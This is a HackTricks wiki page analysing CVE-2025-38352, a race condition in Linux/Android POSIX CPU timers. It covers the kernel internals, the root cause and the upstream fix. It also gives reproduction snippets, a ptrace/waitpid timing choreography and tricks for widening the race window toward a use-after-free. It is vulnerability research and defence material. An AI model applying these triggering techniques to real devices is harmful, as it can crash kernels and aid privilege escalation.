posix-cpu-timers-toctou-cve-2025-38352.md (21494B)
1 --- 2 title: "POSIX CPU Timers TOCTOU race (CVE-2025-38352)" 3 section: "Linux" 4 sectionSlug: "linux-hardening" 5 sourcePath: "src/linux-hardening/main-system-information/kernel-lpe-cves/posix-cpu-timers-toctou-cve-2025-38352.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/linux-hardening/main-system-information/kernel-lpe-cves/posix-cpu-timers-toctou-cve-2025-38352.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # POSIX CPU Timers TOCTOU race (CVE-2025-38352) 14 15 This page documents a TOCTOU race condition in Linux/Android POSIX CPU timers that can corrupt timer state and crash the kernel, and under some circumstances be steered toward privilege escalation.<sup>[[1]](#references)[[2]](#references)</sup> 16 17 - Affected component: kernel/time/posix-cpu-timers.c.<sup>[[1]](#references)</sup> 18 - Primitive: expiry vs deletion race under task exit.<sup>[[1]](#references)</sup> 19 - Config sensitive: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path).<sup>[[1]](#references)</sup> 20 21 Quick internals recap (relevant for exploitation):<sup>[[1]](#references)</sup> 22 - Three CPU clocks drive accounting for timers via cpu_clock_sample():<sup>[[1]](#references)</sup> 23 - CPUCLOCK_PROF: utime + stime 24 - CPUCLOCK_VIRT: utime only 25 - CPUCLOCK_SCHED: task_sched_runtime() 26 - Timer creation wires a timer to a task/pid and initializes the timerqueue nodes:<sup>[[1]](#references)</sup> 27 28 ```c 29 static int posix_cpu_timer_create(struct k_itimer *new_timer) { 30 struct pid *pid; 31 rcu_read_lock(); 32 pid = pid_for_clock(new_timer->it_clock, false); 33 if (!pid) { rcu_read_unlock(); return -EINVAL; } 34 new_timer->kclock = &clock_posix_cpu; 35 timerqueue_init(&new_timer->it.cpu.node); 36 new_timer->it.cpu.pid = get_pid(pid); 37 rcu_read_unlock(); 38 return 0; 39 } 40 ``` 41 42 - Arming inserts into a per-base timerqueue and may update the next-expiry cache:<sup>[[1]](#references)</sup> 43 44 ```c 45 static void arm_timer(struct k_itimer *timer, struct task_struct *p) { 46 struct posix_cputimer_base *base = timer_base(timer, p); 47 struct cpu_timer *ctmr = &timer->it.cpu; 48 u64 newexp = cpu_timer_getexpires(ctmr); 49 if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return; 50 if (newexp < base->nextevt) base->nextevt = newexp; 51 } 52 ``` 53 54 - Fast path avoids expensive processing unless cached expiries indicate possible firing:<sup>[[1]](#references)</sup> 55 56 ```c 57 static inline bool fastpath_timer_check(struct task_struct *tsk) { 58 struct posix_cputimers *pct = &tsk->posix_cputimers; 59 if (!expiry_cache_is_inactive(pct)) { 60 u64 samples[CPUCLOCK_MAX]; 61 task_sample_cputime(tsk, samples); 62 if (task_cputimers_expired(samples, pct)) 63 return true; 64 } 65 return false; 66 } 67 ``` 68 69 - Expiration collects expired timers, marks them firing, moves them off the queue; actual delivery is deferred:<sup>[[1]](#references)</sup> 70 71 ```c 72 #define MAX_COLLECTED 20 73 static u64 collect_timerqueue(struct timerqueue_head *head, 74 struct list_head *firing, u64 now) { 75 struct timerqueue_node *next; int i = 0; 76 while ((next = timerqueue_getnext(head))) { 77 struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node); 78 u64 expires = cpu_timer_getexpires(ctmr); 79 if (++i == MAX_COLLECTED || now < expires) return expires; 80 ctmr->firing = 1; // critical state 81 rcu_assign_pointer(ctmr->handling, current); 82 cpu_timer_dequeue(ctmr); 83 list_add_tail(&ctmr->elist, firing); 84 } 85 return U64_MAX; 86 } 87 ``` 88 89 Two expiry-processing modes:<sup>[[1]](#references)</sup> 90 - CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: expiry is deferred via task_work on the target task 91 - CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: expiry handled directly in IRQ context 92 93 <details> 94 <summary>Task_work vs IRQ expiry paths</summary> 95 96 ```c 97 void run_posix_cpu_timers(void) { 98 struct task_struct *tsk = current; 99 __run_posix_cpu_timers(tsk); 100 } 101 #ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK 102 static inline void __run_posix_cpu_timers(struct task_struct *tsk) { 103 if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return; 104 tsk->posix_cputimers_work.scheduled = true; 105 task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME); 106 } 107 #else 108 static inline void __run_posix_cpu_timers(struct task_struct *tsk) { 109 lockdep_posixtimer_enter(); 110 handle_posix_cpu_timers(tsk); // IRQ-context path 111 lockdep_posixtimer_exit(); 112 } 113 #endif 114 ``` 115 116 </details> 117 118 In the IRQ-context path, the firing list is processed outside sighand.<sup>[[1]](#references)</sup> 119 120 <details> 121 <summary>IRQ-context delivery loop</summary> 122 123 ```c 124 static void handle_posix_cpu_timers(struct task_struct *tsk) { 125 struct k_itimer *timer, *next; unsigned long flags, start; 126 LIST_HEAD(firing); 127 if (!lock_task_sighand(tsk, &flags)) return; // may fail on exit 128 do { 129 start = READ_ONCE(jiffies); barrier(); 130 check_thread_timers(tsk, &firing); 131 check_process_timers(tsk, &firing); 132 } while (!posix_cpu_timers_enable_work(tsk, start)); 133 unlock_task_sighand(tsk, &flags); // race window opens here 134 list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) { 135 int cpu_firing; 136 spin_lock(&timer->it_lock); 137 list_del_init(&timer->it.cpu.elist); 138 cpu_firing = timer->it.cpu.firing; // read then reset 139 timer->it.cpu.firing = 0; 140 if (likely(cpu_firing >= 0)) cpu_timer_fire(timer); 141 rcu_assign_pointer(timer->it.cpu.handling, NULL); 142 spin_unlock(&timer->it_lock); 143 } 144 } 145 ``` 146 147 </details> 148 149 Root cause: TOCTOU between IRQ-time expiry and concurrent deletion under task exit.<sup>[[1]](#references)</sup> 150 Preconditions:<sup>[[1]](#references)</sup> 151 - CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use) 152 - The target task is exiting but not fully reaped 153 - Another thread concurrently calls posix_cpu_timer_del() for the same timer 154 155 Sequence:<sup>[[1]](#references)</sup> 156 1) update_process_times() triggers run_posix_cpu_timers() in IRQ context for the exiting task. 157 2) collect_timerqueue() sets ctmr->firing = 1 and moves the timer to the temporary firing list. 158 3) handle_posix_cpu_timers() drops sighand via unlock_task_sighand() to deliver timers outside the lock. 159 4) Immediately after unlock, the exiting task can be reaped; a sibling thread executes posix_cpu_timer_del(). 160 5) In this window, posix_cpu_timer_del() may fail to acquire state via cpu_timer_task_rcu()/lock_task_sighand() and thus skip the normal in-flight guard that checks timer->it.cpu.firing. Deletion proceeds as if not firing, corrupting state while expiry is being handled, leading to crashes/UB.<sup>[[1]](#references)</sup> 161 162 ### How release_task() and timer_delete() free firing timers 163 Even after handle_posix_cpu_timers() has taken the timer off the task list, a ptraced zombie can still be reaped. The waitpid() stack drives release_task() → __exit_signal(), which tears down sighand and the signal queues while another CPU is still holding pointers to the timer object:<sup>[[4]](#references)</sup> 164 165 ```c 166 static void __exit_signal(struct task_struct *tsk) 167 { 168 struct sighand_struct *sighand = lock_task_sighand(tsk, NULL); 169 // ... signal cleanup elided ... 170 tsk->sighand = NULL; // makes future lock_task_sighand() fail 171 unlock_task_sighand(tsk, NULL); 172 } 173 ``` 174 175 With sighand detached, timer_delete() still returns success because posix_cpu_timer_del() leaves `ret = 0` when locking fails, so the syscall proceeds to free the object via RCU:<sup>[[4]](#references)</sup> 176 177 ```c 178 static int posix_cpu_timer_del(struct k_itimer *timer) 179 { 180 struct sighand_struct *sighand = lock_task_sighand(p, &flags); 181 if (unlikely(!sighand)) 182 goto out; // ret stays 0 -> userland sees success 183 // ... normal unlink path ... 184 } 185 ``` 186 187 ```c 188 SYSCALL_DEFINE1(timer_delete, timer_t, timer_id) 189 { 190 if (timer_delete_hook(timer) == TIMER_RETRY) 191 timer = timer_wait_running(timer, &flags); 192 posix_timer_unhash_and_free(timer); // call_rcu(k_itimer_rcu_free) 193 return 0; 194 } 195 ``` 196 197 Because the slab object is RCU-freed while IRQ context still walks the `firing` list, reuse of the timer cache becomes a UAF primitive.<sup>[[4]](#references)</sup> 198 199 ### Steering reaping with ptrace + waitpid 200 The easiest way to keep a zombie around without it being auto-reaped is to ptrace a non-leader worker thread. exit_notify() first sets `exit_state = EXIT_ZOMBIE` and only transitions to EXIT_DEAD if `autoreap` is true. For ptraced threads, `autoreap = do_notify_parent()` remains false as long as SIGCHLD is not ignored, so release_task() only runs when the parent explicitly calls waitpid():<sup>[[4]](#references)</sup> 201 202 - Use pthread_create() inside the tracee so the victim is not the thread-group leader (wait_task_zombie() handles ptraced non-leaders). 203 - Parent issues `ptrace(PTRACE_ATTACH, tid)` and later `waitpid(tid, __WALL)` to drive do_wait_pid() → wait_task_zombie() → release_task(). 204 - Pipes or shared memory convey the exact TID to the parent so the correct worker is reaped on demand. 205 206 This choreography guarantees a window where handle_posix_cpu_timers() can still reference `tsk->sighand`, while a subsequent waitpid() tears it down and allows timer_delete() to reclaim the same k_itimer object.<sup>[[4]](#references)</sup> 207 208 Why TASK_WORK mode is safe by design:<sup>[[1]](#references)[[3]](#references)</sup> 209 - With CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, expiry is deferred to task_work; exit_task_work runs before exit_notify, so the IRQ-time overlap with reaping does not occur.<sup>[[1]](#references)</sup> 210 - Even then, if the task is already exiting, task_work_add() fails; gating on exit_state makes both modes consistent.<sup>[[3]](#references)</sup> 211 212 Fix (Android common and Linux stable kernels) and rationale:<sup>[[1]](#references)[[3]](#references)[[6]](#references)</sup> 213 - Add an early return if the current task is exiting, gating all processing; the stable-tree commit applies the equivalent check before running POSIX CPU timers.<sup>[[1]](#references)[[3]](#references)[[6]](#references)</sup> 214 215 ```c 216 // kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb) 217 if (tsk->exit_state) 218 return; 219 ``` 220 221 - This prevents entering handle_posix_cpu_timers() for exiting tasks, eliminating the window where posix_cpu_timer_del() could miss it.cpu.firing and race with expiry processing.<sup>[[1]](#references)[[3]](#references)[[6]](#references)</sup> 222 223 Impact:<sup>[[1]](#references)[[2]](#references)[[8]](#references)</sup> 224 - Kernel memory corruption of timer structures during concurrent expiry/deletion can yield immediate crashes (DoS) and is a strong primitive toward privilege escalation due to arbitrary kernel-state manipulation opportunities.<sup>[[1]](#references)[[2]](#references)[[8]](#references)</sup> 225 226 Triggering the bug (safe, reproducible conditions):<sup>[[4]](#references)</sup> 227 Build/config:<sup>[[4]](#references)</sup> 228 - Ensure CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n and use a kernel without the exit_state gating fix. On x86/arm64 the option is normally forced on via HAVE_POSIX_CPU_TIMERS_TASK_WORK, so researchers often patch `kernel/time/Kconfig` to expose a manual toggle:<sup>[[4]](#references)</sup> 229 230 ```c 231 config POSIX_CPU_TIMERS_TASK_WORK 232 bool "CVE-2025-38352: POSIX CPU timers task_work toggle" if EXPERT 233 depends on POSIX_TIMERS && HAVE_POSIX_CPU_TIMERS_TASK_WORK 234 default y 235 ``` 236 237 This mirrors what Android vendors did for analysis builds; upstream x86_64 and arm64 force HAVE_POSIX_CPU_TIMERS_TASK_WORK=y, so the vulnerable IRQ path mainly exists on 32-bit Android kernels where the option is compiled out.<sup>[[4]](#references)</sup> 238 239 - Run on a multi-core VM (e.g., QEMU `-smp cores=4`) so parent, child main, and worker threads can stay pinned to dedicated CPUs.<sup>[[4]](#references)</sup> 240 241 Runtime strategy:<sup>[[4]](#references)</sup> 242 - Target a thread that is about to exit and attach a CPU timer to it (per-thread or process-wide clock):<sup>[[4]](#references)</sup> 243 - For per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...) 244 - For process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...) 245 - Arm with a very short initial expiration and small interval to maximize IRQ-path entries:<sup>[[4]](#references)</sup> 246 247 ```c 248 static timer_t t; 249 static void setup_cpu_timer(void) { 250 struct sigevent sev = {0}; 251 sev.sigev_notify = SIGEV_SIGNAL; // delivery type not critical for the race 252 sev.sigev_signo = SIGUSR1; 253 if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create"); 254 struct itimerspec its = {0}; 255 its.it_value.tv_nsec = 1; // fire ASAP 256 its.it_interval.tv_nsec = 1; // re-fire 257 if (timer_settime(t, 0, &its, NULL)) perror("timer_settime"); 258 } 259 ``` 260 261 - From a sibling thread, concurrently delete the same timer while the target thread exits:<sup>[[4]](#references)</sup> 262 263 ```c 264 void *deleter(void *arg) { 265 for (;;) (void)timer_delete(t); // hammer delete in a loop 266 } 267 ``` 268 269 - Race amplifiers: high scheduler tick rate, CPU load, repeated thread exit/re-create cycles. The crash typically manifests when posix_cpu_timer_del() skips noticing firing due to failing task lookup/locking right after unlock_task_sighand().<sup>[[1]](#references)[[4]](#references)</sup> 270 271 ### Practical PoC orchestration 272 #### Thread & IPC choreography 273 A reliable reproducer forks into a ptracing parent and a child that spawns the vulnerable worker thread. Two pipes (`c2p`, `p2c`) deliver the worker TID and gate each phase, while a `pthread_barrier_t` prevents the worker from arming its timer until the parent has attached. Each process or thread is pinned with `sched_setaffinity()` (e.g., parent on CPU1, child main on CPU0, worker on CPU2) to minimize scheduler noise and keep the race reproducible.<sup>[[4]](#references)[[5]](#references)</sup> 274 275 #### Timer calibration with CLOCK_THREAD_CPUTIME_ID 276 The worker arms a per-thread CPU timer so that only its own CPU consumption advances the deadline. A tunable `wait_time` (default ≈250 µs of CPU time) plus a bounded busy loop ensure that `exit_notify()` sets `EXIT_ZOMBIE` while the timer is just about to fire:<sup>[[4]](#references)[[5]](#references)</sup> 277 278 <details> 279 <summary>Minimal per-thread CPU timer skeleton</summary> 280 281 ```c 282 static timer_t timer; 283 static long wait_time = 250000; // nanoseconds of CPU time 284 285 static void timer_fire(sigval_t unused) { 286 puts("timer fired"); 287 } 288 289 static void *worker(void *arg) { 290 struct sigevent sev = {0}; 291 sev.sigev_notify = SIGEV_THREAD; 292 sev.sigev_notify_function = timer_fire; 293 timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &timer); 294 295 struct itimerspec ts = { 296 .it_interval = {0, 0}, 297 .it_value = {0, wait_time}, 298 }; 299 300 pthread_barrier_wait(&barrier); // released by child main after ptrace attach 301 timer_settime(timer, 0, &ts, NULL); 302 303 for (volatile int i = 0; i < 1000000; i++); // burn CPU before exiting 304 return NULL; // do_exit() keeps burning CPU 305 } 306 ``` 307 308 </details> 309 310 #### Race timeline 311 1. Child tells the parent the worker TID via `c2p`, then blocks on the barrier.<sup>[[4]](#references)</sup> 312 2. Parent `PTRACE_ATTACH`es, waits in `waitpid(__WALL)`, then `PTRACE_CONT` to let the worker run and exit. 313 3. When heuristics (or manual operator input) suggest the timer was collected into the IRQ-side `firing` list, the parent executes `waitpid(tid, __WALL)` again to trigger release_task() and drop `tsk->sighand`. 314 4. Parent signals the child over `p2c` so child main can call `timer_delete(timer)` and immediately run a helper such as `wait_for_rcu()` until the timer’s RCU callback completes. 315 5. IRQ context eventually resumes `handle_posix_cpu_timers()` and dereferences the freed `struct k_itimer`, tripping KASAN or WARN_ON()s.<sup>[[4]](#references)</sup> 316 317 #### Optional kernel instrumentation 318 For research setups, injecting a debug-only `mdelay(500)` inside handle_posix_cpu_timers() when `tsk->comm == "SLOWME"` widens the window so the above choreography almost always wins the race. The same PoC also renames threads (`prctl(PR_SET_NAME, ...)`) so kernel logs and breakpoints confirm the expected worker is being reaped.<sup>[[4]](#references)</sup> 319 320 ### Later public PoC reliability tricks 321 Later public PoCs showed the race can also be won on unmodified 6.12.33-era kernels without inserting a debug `mdelay()`, mainly by increasing how much kernel work happens **after** `unlock_task_sighand()` and by making retries deterministic.<sup>[[7]](#references)</sup> 322 323 - **Assign different jobs to different timers:** use one timer as the actual UAF target and a batch of extra "stall timers" that only exist to keep `handle_posix_cpu_timers()` busy. Public PoCs used `SIGEV_SIGNAL`/`SIGUSR1` stall timers and a distinct `SIGUSR2` signal to detect a successful timer reallocation; researchers also used unique `sigev_value` markers while instrumenting allocations.<sup>[[7]](#references)[[8]](#references)</sup> 324 - **Calibrate on CPU time, not wall time:** measure the per-syscall cost of `clock_gettime(CLOCK_THREAD_CPUTIME_ID, ...)` / `getpid()` and burn just enough victim CPU before `return` so `do_exit()` lands immediately before expiry. This is more stable than `nanosleep()` because the timer only advances while the victim thread actually consumes CPU.<sup>[[7]](#references)</sup> 325 - **Stretch `complete_signal()` from userland:** queue several extra timers and create a very large thread group with `SIGUSR1` blocked in every helper thread, then drain those signals through a shared `signalfd`. When `cpu_timer_fire()` reaches `posix_timer_queue_signal()` → `send_sigqueue()` → `complete_signal()`, the kernel has to inspect far more candidate threads, stretching the post-`unlock_task_sighand()` window. Public follow-up research reported profiled handling windows around **31-34 ms** and a final exploit window around **24-26 ms** after tuning.<sup>[[7]](#references)[[8]](#references)</sup> 326 - **Synchronize RCU-backed retries:** after `timer_delete()`, wait for an RCU grace period before attempting immediate reuse or the next retry. Public PoCs used a tiny `wait_for_rcu()` helper around `membarrier(MEMBARRIER_CMD_GLOBAL, 0)` so the freed `struct k_itimer` is no longer only pending `call_rcu()` when the next attempt starts.<sup>[[7]](#references)</sup> 327 328 ### Instrumentation cues during exploitation 329 - Add tracepoints/WARN_ONCE around unlock_task_sighand()/posix_cpu_timer_del() to spot cases where `it.cpu.firing==1` coincides with failed cpu_timer_task_rcu()/lock_task_sighand(); monitor timerqueue consistency when the victim exits.<sup>[[1]](#references)</sup> 330 - KASAN typically reports `slab-use-after-free` inside posix_timer_queue_signal(), while non-KASAN kernels log WARN_ON_ONCE() from send_sigqueue() when the race lands, giving a quick success indicator.<sup>[[4]](#references)</sup> 331 - Quick checks that match the public PoCs:<sup>[[4]](#references)</sup> 332 333 ```bash 334 zgrep CONFIG_POSIX_CPU_TIMERS_TASK_WORK /proc/config.gz 2>/dev/null || grep CONFIG_POSIX_CPU_TIMERS_TASK_WORK /boot/config-$(uname -r) 335 336 dmesg -w | egrep 'slab-use-after-free in posix_timer_queue_signal|send_sigqueue|handle_posix_cpu_timers: delta_ns=' 337 ``` 338 339 Audit hotspots (for reviewers):<sup>[[1]](#references)</sup> 340 - update_process_times() → run_posix_cpu_timers() (IRQ) 341 - __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path) 342 - collect_timerqueue(): sets ctmr->firing and moves nodes 343 - handle_posix_cpu_timers(): drops sighand before firing loop 344 - posix_cpu_timer_del(): relies on it.cpu.firing to detect in-flight expiry; this check is skipped when task lookup/lock fails during exit/reap.<sup>[[1]](#references)</sup> 345 346 Notes for exploitation research:<sup>[[1]](#references)[[2]](#references)[[8]](#references)</sup> 347 - The disclosed behavior is a reliable kernel crash primitive; turning it into privilege escalation typically needs an additional controllable overlap (object lifetime or write-what-where influence) beyond the scope of this summary. Treat any PoC as potentially destabilizing and run only in emulators/VMs.<sup>[[1]](#references)[[2]](#references)[[8]](#references)</sup> 348 349 ## References 350 - [1] [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/) 351 - [2] [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01) 352 - [3] [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0) 353 - [4] [CVE-2025-38352 – In-the-wild Android Kernel Vulnerability Analysis and PoC](https://faith2dxy.xyz/2025-12-22/cve_2025_38352_analysis/) 354 - [5] [poc-CVE-2025-38352 (GitHub)](https://github.com/farazsth98/poc-CVE-2025-38352) 355 - [6] [Linux stable fix commit f90fff1e152d](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=f90fff1e152dedf52b932240ebbd670d83330eca) 356 - [7] [CVE-2025-38352 (Part 2) - Extending The Race Window Without a Kernel Patch](https://faith2dxy.xyz/2025-12-24/cve_2025_38352_analysis_part_2/) 357 - [8] [CVE-2025-38352 (Part 3) - Uncovering Chronomaly](https://faith2dxy.xyz/2026-01-03/cve_2025_38352_analysis_part_3/)